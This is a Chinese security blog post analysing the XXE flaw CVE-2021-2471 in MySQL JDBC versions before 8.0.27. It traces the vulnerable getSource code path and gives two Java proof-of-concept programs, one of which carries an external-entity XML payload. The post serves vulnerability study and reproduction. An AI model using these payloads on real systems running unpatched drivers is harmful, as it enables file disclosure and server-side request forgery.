MySQL JDBC XXE漏洞(CVE-2021-2471)漏洞分析

参考资料:

https://mp.weixin.qq.com/s/erIFMiPNB2XSBJSqXyxuKg

https://t.zsxq.com/aA62fUZ

正文:
10月21日,"阿里云应急响应"公众号发布Oracle Mysql JDBC存在XXE漏洞,造成漏洞的原因主要是因为getSource方法未对传入的XML格式数据进行检验。导致攻击者可构造恶意的XML数据引入外部实体。造成XXE攻击。

影响版本: < MySQL JDBC 8.0.27

本地配置相关环境:

pom.xml,影响版本在8.0.27之前,这里使用8.0.26

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.26</version>
</dependency>

根据阿里云所发布的内容找到对应的getSource方法。

Class所在位置:package com.mysql.cj.jdbc.MysqlSQLXML
1.png

漏洞造成的具体原因是因为当传入类型为DOMSource时,则使用DocumentBuilder对数据进行解析处理。
定位到具体代码:
2.png
return中使用DocumentBuilderparse方法来解析inputSource变量中的内容。
看一下inputSource是如何赋值的。

  if (this.fromResultSet) {
                    inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
        } else {
                    inputSource = new InputSource(new StringReader(this.stringRep));
    }

fromResultSetfalse时,将stringRep的内容会赋值给inputSource。跟进查找stringRep是如何设置的。

MysqlSQLXML类中可以通过setString方法类设置stringRep的值。
image.png
找到对应的触发点,就可以查看如何调用了。

createSQLXML方法的作用就是返回一个MysqlSQLXML对象。
3.png
在构造方法中,fromResultSet的值就已经被初始化赋值为false。也就是说在后续的判断中可以直接走到stringRep赋值给inputSource的过程
4.png
由于MysqlSQLXML实现的是SQLXML接口。所以在调用的时候也需要使用SQLXML

POC:

package com.example.demo3;
import javax.xml.transform.dom.DOMSource;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.SQLXML;
public class main {
    public static void main(String[] args) throws SQLException {
        String poc = "<!DOCTYPE b [<!ENTITY xxe SYSTEM  \"http://127.0.0.1:8041/poc.txt\">]><name>&xxe;</name>";
        Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/", "root","root");
        SQLXML sqlxml = connection.createSQLXML();
        sqlxml.setString(poc);
        sqlxml.getSource(DOMSource.class);


    }
}

整体流程:

1.先使用createSQLXML创建MysqlSQLXML对象,fromResultSet的值将会被设置为false
2.使用setString,设置`stringRep`的值。
3.调用getSource方法,并设置传入类为`DOMSource.class`。确保在if判断时能正常走到触发点。

验证:
5.png

------------------------------------------------------------------

填坑:

在根据现有资料进行复现时,最终POC通过setString来设置stringRep。这里会显得特别鸡肋(实际环境中根本遇不到)。jar包的作用是实现与数据库之间的交互。正常来说应该是从数据库中查询出来后,结果包含恶意PAYLOAD在解析时触发。

好在三梦师傅也发了对应的POC。

https://github.com/SecCoder-Security-Lab/jdbc-sqlxml-xxe/blob/main/src/main/java/me/threedr3am/bug/jdbc/sqlxml/xxe/oracle/OracleJDBC.java

虽然该POC标注为Oracle,MySQL也是可以利用此方法的。

QQ图片20211024195244.png
POC:

package com.example.demo3;
import javax.xml.transform.dom.DOMSource;
import java.sql.*;

public class main {
    public static void main(String[] args) throws SQLException {
        Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/sys", "root","root");
        Statement statement = connection.createStatement();
        statement.execute("select * from test");
        ResultSet resultSet = statement.getResultSet();
        while (resultSet.next()) {
            SQLXML sqlxml = resultSet.getSQLXML("message");
            sqlxml.getSource(DOMSource.class);
        }
    }
}

在调用getSQLXML获取对应返回字段内容时。会创建一个MysqlSQLXML对象。

image.png
此时owningResultSet的内容就是执行SQL语句返回后的内容,columnIndexOfXml是获取内容键值所处位置。而fromResultSet则被设置为True.这与上文是不同的。

当调用getSource方法并设置类型为DOMSource时会进入一处判断。
QQ图片20211024194836.png

此时的fromResultSet在初始化MysqlSQLXML对象就已经被设置为True.而上文另一种方式则是设置为False,让stringRep的值赋值给inputSource.

fromResultSet为true时。则直接根据键值所处位置从owningResultSetSQL语句的查询结果中获取内容。

这也就导致了无需设置stringRep的内容,直接从SQL语句查询结果中获取内容并赋值给inputSource.最终使用DocumentBuilder.parse解析内容,造成XXE漏洞。

本文链接:

https://websecuritys.cn/archives/CVE-2021-2471.html
1 + 7 =
快来做第一个评论的人吧~